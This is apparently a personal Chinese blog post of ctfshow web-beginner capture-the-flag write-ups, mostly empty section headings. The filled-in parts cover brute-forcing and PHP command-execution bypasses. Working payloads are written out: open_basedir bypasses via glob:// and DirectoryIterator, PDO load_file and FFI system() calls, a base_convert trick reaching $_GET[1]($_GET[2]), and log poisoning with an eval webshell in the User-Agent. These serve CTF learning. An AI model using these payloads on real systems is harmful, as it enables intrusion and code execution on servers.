Pr1nt
文章21
标签9
分类5

文章分类

文章归档

ctfshow_web入门wp

ctfshow_web入门wp

ctfshow-web入门全解

重新走一遍ctfshow,顺便记录下wp

  1. ctfshow-web入门全解
    1. 信息收集
    2. 爆破
      1. web21
      2. web22
      3. web23
      4. web24
      5. web25
      6. web26
      7. web27
      8. web28
    3. 命令执行
      1. web71
      2. web73
      3. web74
      4. web72
        1. UAF
      5. web75
        1. PDO
      6. web76
      7. web77
        1. FFI
      8. web118-web122
        1. 环境变量的利用
      9. web124
    4. 文件包含
      1. web78
      2. web79
      3. web80
      4. web81
      5. web82
      6. web83
      7. web84
      8. web85
      9. web86
      10. web87
      11. web88
      12. web116
      13. web117
    5. php特性
    6. 文件上传
    7. sql注入
    8. 反序列化
    9. java
    10. 代码审计
    11. phpCVE
    12. XSS
    13. nodejs
    14. jwt
    15. SSRF
    16. SSTI
    17. XXE
  2. -----↑12月之前写完↑--------
    1. 区块链安全
    2. 黑盒测试
    3. 其他
    4. 嵌入式
    5. 框架复现
    6. CMS
    7. 中期测评
    8. sqli-labs
    9. thinkphp专题
    10. 组件漏洞
    11. Laravel专题
    12. Yii专题
    13. 终极考核
    14. 权限维持
    15. 大赛原题
    16. 常用姿势
    17. 税务比武
    18. java反序列化
    19. 内网渗透

由于我们是以夯实基础为主,所以我不会使用sqlmap之类的工具一把梭

信息收集

不写了,这里直接点下面的hint就能看到,提一嘴如果由于js导致看不了源码可以点一下url再进行f12或者ctrl+u

爆破

web21

点开发现要输用户名和密码,抓包发现有个Authorization: Basic YWRtaW46MTIzNDU2,解码后面的是admin:123456,这里就可以直接爆破了
使用burp>Intruder>payload处理先前缀一个admin:,再base64-encode,最后把下面的URL编码取消,就可以爆了

web22

爆破域名,好像环境坏了,直接交flag吧

web23

接收一个参数并进行md5,如果第2,15,18位字符相同,而且整数值的和除以第二位的整数值等于第32位的整数值,则输出flag
burp>Intruder>Brute forcer>1-2长度,爆破出为3j

web24

使用372619038作为随机数的种子,生成随机数,由于种子固定,所以其实随机数也是固定的,经本地测试恒为1155388967,所以直接r=1155388967就行

web25

先输入r=0,得到第一次的随机数,然后使用php_mt_seed工具推出seed值,然后对应一下7.3.11的版本,取第二次和第三次的和写入token中发包就可以获取到flag了

web26

?这题好诡异啊,点进去抓包全放直到抓到checkdb.php,然后啥都不填发送就行a=&p=&d=&u=&pass=就返回flag了

web27

点开莫名其妙,有个录取名单直接下,打开有个叫高先伊的直接爆破身份证号
Intruder>日期>从19800101爆到20201231,格式选下面的自填yyyyMMDD,直接爆就行,查询到学号直接拿身份证号登陆就行
高先伊 身份证号:621022199002015237 学号:02015237

web28

GET /§0§/§1§/ HTTP/1.1,选择(Clusterbomb)模式,从0到100爆破,最多10000次,爆出来/72/20/,直接返回flag了

命令执行

直接看hint吧,看不懂的看我rce全解那篇文章,很全了,web118到web121看我环境变量全解那集

web41这个位置肯定是放错了,应该放55-57这个位置的
着重讲一下web71开始,这里与前面就不是一个难度了

web71

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>

这里是先执行代码,然后将返回的内容放至缓冲区,然后进行过滤,但是我们可以提前退出结束这个代码来绕过缓冲区的限制,例如exit(),ob_flush(),die()
payload:c=include('/flag.txt');exit();

web73

c=var_export(scandir('/'));exit(0);找到flag,用c=require_once('/flagc.txt');exit(0);读取flag

web74

scandir被禁了,但是glob还在,glob不仅可以是一个伪协议,也可以是一个函数,作用与scandir相同
c=var_export(glob('/*'));exit();,然后include即可

web72

说下这题为什么放这了,因为这个与web75一样,比web73和web74多了一个open_basedir的限制,估计放在web73之前就是scandir能用

当试图用上一题的payload的时候,出现
include(/flag.txt): failed to open stream: No such file or directory in /var/www/html/index.php(19) : eval()'d code
猜测是open_basedir限制了访问区域,这里可以用glob:///*进行读取的绕过
c=var_export(scandir('glob:///*'));exit();

从后面来的,这里虽然scandir能用,但其实也可以当作被ban了使用web75的方法

这里var_exportprint_r的效果大致相同
发现根目录下有flag0.txt但下一步要想读到flag,就很麻烦了
wp给的是使用了uaf的脚本
UAF(UseAfterFree)是pwn里面的一个方法
简单说下原理吧,payload可以用web75这题的

UAF

UAF是一种内存管理漏洞,发生在程序释放了某块内存后,继续访问或使用这块内存,此时,内存可能已被重新分配给其他对象,导致未定义行为,可能被攻击者利用

如果程序在内存释放后继续访问,可能触发UAF漏洞,导致:访问被新对象占用的内存,可被攻击者利用

UAF的触发过程:

  1. 分配对象:创建对象,分配内存,引用计数>0
  2. 释放内存:通过unset、覆盖引用或垃圾回收,引用计数降为0,内存被释放
  3. 错误使用:在释放后继续访问对象,可能操作被重新分配的内存
  4. 利用:攻击者通过控制新分配的内存,注入恶意数据或行为(如函数指针、字符串)

PHP中的UAF场景:

  • 对象析构:对象被销毁(__destruct触发)后仍被访问
  • 垃圾回收:PHP 5.3+引入GC(Garbage Collector),处理循环引用,但某些操作可能导致UAF
  • 扩展或类:SPL类(如ArrayObject),自定义扩展或C代码可能引入UAF
  • CTF中:UAF常通过精心构造的对象引用、数组操作或序列化触发,执行任意代码或泄露内存

利用效果:

  • 信息泄露:读取被释放内存中的残留数据(如flag字符串)
  • 代码执行:控制内存中的函数指针或对象,调用任意函数(如system)
  • 绕过限制:在CTF中,UAF可绕过disable_functionsopen_basedir,执行命令或读取文件

通常通过以下方法构造UAF:

  • 反序列化:触发__destruct__wakeup,释放对象后访问
  • SPL类:如ArrayObject,SplObjectStorage,操作复杂引用可能导致UAF
  • 垃圾回收:触发GC,释放循环引用的对象后访问
  • 自定义类:定义__destruct__toString,在释放后被调用

注:以上来源于grok,我不是打pwn的,具体这一块我不懂

web75

这题开始由于include也被禁了,所以要想一些奇技淫巧了
第一步还是glob获取文件名,但与上一题不同

wp的payload是

1
2
3
4
5
6
7
?><?php 
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().'');
}
exit(0);
?>

这里如果使用var_export(glob('/*'))会出现false,应该是glob()函数权限不够无法读到根目录
那么就要使用glob伪协议来进行读取,这里就使用了DirectoryIterator()这个类来进行读取,还是挺考验对类的了解的,纯盲解的话应该是翻php手册找哪个类能读取而且没被禁
魔术方法调用toString是输出类对象的值,但我测试一下直接echo($f)也是可行的

然后我在这里又测了一下直接使用glob:///读取flag,结果发现存在open_basedir

PDO

主要是第二步
这里先放出wp里的payload

1
2
3
4
5
6
7
8
9
10
11
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row){
echo($row[0])."|";
}
$dbh = null;
}
catch (PDOException $e) {
echo $e->getMessage();exit(0);
}
exit(0);

接下来先讲原理,这里主要逻辑是new了一个PDO对象(PHP Data Objects),并用localhost的主机连接到用户名和密码都为root的数据库ctftraining,下一行是执行sql语句进行查询并遍历结果,然后输出结果并在最后添加|,最后关闭数据库连接,catch是与try对应的,负责异常时的情况,那么显然,这里不try一下也不catch也是完全可以的,甚至可以将关闭数据库这一步都删了,因为我们只是需要使用sql语句进行查询接着输出即可
也就是

1
2
3
4
5
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row){
echo($row[0]);
}
exit(0);

那么load_file为什么可以读到文件呢,因为只要sql数据库有读取文件的权限,就能成功读取,这是sql函数,不是php函数,所以php的disable禁不掉他
那么我们知道了payload的原理,就需要知道payload的组成了,最主要的就是mysql:host=localhost;dbname=ctftraining这一段
php的PDO函数支持多种数据库,这里列出一下

1
2
3
4
5
6
MySQL : ('mysql:host=localhost;port=3306;dbname=ctftraining', 'root', 'root');
PostgreSQL : ('pgsql:host=localhost;port=5432;dbname=ctftraining', 'postgres', 'postgres');
SQLite : ('sqlite:/var/db/ctftraining.db', '', '');
SQL Server : ('sqlsrv:Server=localhost,1433;Database=ctftraining', 'sa', 'password');
Oracle : ('oci:dbname=//localhost:1521/ctftraining', 'system', 'oracle');
MariaDB是MySQL的一个分支,与mysql一致

那么我们可以一个个试出数据库类型,但数据库名字又是怎么得到的呢

1
2
3
4
5
6
7
8
9
10
11
我们可以使用SHOW DATABASES来列出所有的数据库
例如:

$dbh = new PDO('mysql:host=localhost', 'root', 'root');
foreach($dbh->query('SHOW DATABASES') as $row) {
echo $row[0] . " | ";
}
exit(0);

回显为:
ctftraining | information_schema | mysql | performance_schema | test |

这样我们就列出了所有的数据库,但其实经过测试,这题不写dbname也能出

1
2
3
4
5
6
7
最简payload:

$dbh = new PDO('mysql:host=localhost;', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo $row[0];
}
exit(0);

web76

和上一题一样,flag名字变flag36d.txt了而已

web77

flag名字变flag36x.txt
试图用上一题的payload,但是报错了,应该是这题没给pdo_mysql扩展,也就是使用数据库来读取这一招不好使了
注意到题目给出环境为php7.4版本,肯定是不会白给的对吧
问了一下grok,给出了一个SplFileObject(SPL类绕过),是与使用DirectoryIterator读文件名类似的方法
但是由于存在open_basedir的限制所以不可行

这里我想到了之前那个也存在open_basedir限制的web72,那个是用的uaf,试了一下用web75的payload,结果好使

web75到web77能绕过open_basedir是因为web75是使用的mysql的函数,而open_basedir只限制php脚本,所以是管不到的,但是那几个类去试图绕过是不好使的,类也是php脚本,受open_basedir影响

这里放上本题wp中的payload:

1
2
3
$ffi = FFI::cdef("int system(const char *command);");
$a = '/readflag > 1.txt';
$ffi->system($a);

能看到是执行了/readflag这个程序,但实际上,这里中间这一行直接删了就行

1
2
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system('/readflag > 1.txt');

这里我试了一下直接cat,但是不好使,ls -la看一下发现权限不够,只能使用/readflag

这里讲一下FFI的原理

FFI

FFI是PHP 7.4引入的一个扩展,允许php直接调用c语言函数
这里先是使用FFI::cdef声明了一个c函数,payload这里就是定义了C的system函数,接受一个C字符串(const char *)作为命令
然后调用FFI对象就成功执行任意命令了,唯一的问题是没有回显,我们需要将结果输出到1.txt

php手册: FFI::cdef

web118-web122

环境变量的利用

看我的环境变量全解那里
从0到1,学习环境变量的利用方法

web124

非常规rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
//收集自网络
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

这题首先审代码,发现没过滤$(),然后过滤了除了白名单的所有字母,那么我们只需要使用白名单内的内容和数字进行构造就行了
白名单大部分的东西都是没什么用的东西,但是注意到,放出了base_convertdechex,那么我们可以定义一个变量$abs='_GET'然后$$abs=>$_GET执行任意命令(这里abs是在白名单中的,不会被过滤)
那么也就是需要使用两个函数将_GET这个字符串转为数字,然后反向走一遍就构造出_GET

1
2
3
4
5
6
7
8
9
10
11
12
13
14
echo hexdec(bin2hex('_GET'));
我们可以先将_GET变为16进制,然后将16进制变为10进制,这样就构造出了纯数字
也就是要在payload中打入
hex2bin(dechex(1598506324));
但是hex2bin没给怎么办呢
我们就要用base_convert来构造
base_convert('hex2bin',36,10)=>37907361743
反向一下就是
base_convert(37907361743,10,36)=>hex2bin
所以payload为:
$abs=base_convert(37907361743,10,36)(dechex(1598506324));
$$abs{1}($$abs{2}) //=>$_GET[1]($_GET[2])=>system(tac flag.php)
&1=system
&2=tac+flag.php

RCE终于是告一段落了,未来的计划大概是把rcemap补全至能ak这些题

文件包含

web78

无任何过滤的php伪协议读取即可

web79

过滤了php换data伪协议

web80

这里wp给的是改UA头给日志写入恶意代码然后包含这个日志即可
/?file=/var/log/nginx/access.log
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0<?php eval($_GET[1]);?>
第二种方法是大写PHP绕过过滤写个pHP://input,然后用POST发带恶意命令的包即可

web81

多过滤了个:,伪协议用不了了,用上一题的日志包含即可

web82

web83

web84

web85

web86

web87

web88

web116

web117

php特性

文件上传

sql注入

反序列化

java

代码审计

phpCVE

XSS

nodejs

jwt

SSRF

SSTI

XXE

-----↑12月之前写完↑--------

区块链安全

黑盒测试

其他

嵌入式

框架复现

CMS

中期测评

sqli-labs

thinkphp专题

组件漏洞

Laravel专题

Yii专题

终极考核

权限维持

大赛原题

常用姿势

税务比武

java反序列化

内网渗透